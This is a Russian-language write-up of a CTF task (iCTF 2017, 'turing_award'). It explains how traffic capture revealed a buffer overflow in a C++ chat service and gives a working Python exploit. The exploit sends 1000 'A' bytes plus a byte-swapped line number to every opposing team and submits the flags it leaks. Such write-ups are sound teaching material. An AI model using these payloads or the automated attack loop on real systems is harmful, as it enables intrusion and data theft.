Разбор заданий iCTF 2017: часть четвёртая

turing_award

Поначалу мы пытались разобраться с python-сервисом ponypoem, но что-то не срослось — и нам пришлось переходить на бинарные файлы. Тем более что turing_award был второй по количеству сданных флагов, так что здесь, возможно, всё очевидно. Данный сервис написан на С++ и легенда гласит: Сможешь ли ты пройти тест Тьюринга? В качестве flag_id нам давали номер строки из файла answers.txt. Давайте разбираться.

Это обычный tcp-сервер, слушает порт 20006. Диалоговое окно выглядит так:

You: hello
Human: Stall.
You:
....

Вот такой вот бесконечный диалог. У робота было 3 файла: answers, questions, trainings. Если введённый вами текст совпадал со строкой файла questions, то машина выводила текст такого же номера строки из answers, что и номер строки questions. Если же ответ не находил — брал рандомную фразу из trainings. Методом реверс-инжиниринга через radare2 мы с напарником ничего найти не могли, был сплошной мусор. Пришлось действовать старым дедовским методом — анализировать входящий трафик. Здесь в бой вступает Wireshark.

tcpdump -pni eth0 -n tcp portrange 20001-20014 -s65535 -G 900 -w 'trace_%Y-%m-%d_%H:%M:%S.pcap'

Я писал дампы трафика на интерфейсе eth0 только для TCP протокола и только с портов 20001-20014 (порты сервисов). –s65535 — количество сохраняемых пакетов в 1 файле. –G 900 — как часто разбивать файл дампа, –w — это формат выходного файла. И вот что я получил (синий — сервер, красный — пользователь):

Пример 1:

You: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAq........
Human: Stall.

You: exit 
Human: See'ya later, bud!

Пример 2:
You: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAW........
Human: The answer is in FLGElg5WPwukuAWf

You: exit 
Human: See'ya later, bud!

Рассмотрим поближе пример №2. Здесь мы отдаём противнику флаг, если он отправляет нам следующую строку (в hex):

414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141415701000000000000000a

Это 1000 букв А и потом уже какая-то чувствительная информация и 0a — новая строка (смотри тут). 00 — просто 0, остаётся всего 2 символа — это 5701. Переведём их в ASCII — 9 и SOH. Не получается. Значит, это не ascii символ, а число. В hex. Допустим здесь. Получили 22273. Такой строчки в файле answers у нас точно нет. Поищем номер строки для флага FLGElg5WpwukuAWf. А это строка 343. Переводим в hex — выходит 0157. Значит, у нас здесь порядок цифр обратный.

Итого, чтобы написать эксплойт, нам понадобится:

  1. Взять flag_id, перевести его в hex, поменять местами блоки.

  2. Сформировать строку из 1000 символов (a, z — не важно), преобразованным flag_id, и в конце дописать несколько ноликов и символ новой строки (имитация нажатия клавиши Enter).

  3. Получить флаг.

  4. Отправить на сервер жюрейки.

Таким образом, не зная, как работает сервис, за счёт нешифрованного трафика и обычного TCP-протокола мы отловили уязвимость на нашем сервере и теперь можем проэксплуатировать её на других командах.

Эксплойт на языке Python:

from ictf import iCTF
import json
import socket
i = iCTF()
t = i.login('EMAIL', 'PASSWORD')

while 1:
    tmp = t.get_targets(10006)
    for team in tmp['targets']:
        try:
            conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            conn.settimeout(5)
            conn.connect((team['hostname'], team['port']))
            data = conn.recv(1024)
            d = int(team['flag_id'])
            line = ''.join('%04x'%(d - 1))
            line = line[2:4] + line[0:2]
            a1 = bytes.fromhex("41414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141")
            a2 = bytes.fromhex(line)
            a3 = bytes.fromhex("000000000000000a")
            conn.send(a1+a2+a3)
            data = conn.recv(1024).decode('utf-8')
            string = data.split()
            flag = string[len(string)-1]
            conn.close()
            if "The answer is" in data:
                s = t.submit_flag(list([flag]))
            else:
                print('NEO4en {}'.format(team['team_name']))
        except Exception as ex:
            print(ex)
            continue
            conn.close()

Вышло довольно быстро, но разбор бинарного файла до просмотра трафика затянулся, и в итоге на сервис было затрачено около 3 часов.

Скорее всего, это было типичное переполнение буфера или неправильная обработка строк, с языками вроде C++ такое частенько случается. Программа начинает вести себя неправильно и выходит в памяти за пределы переменной, попадая в другие места.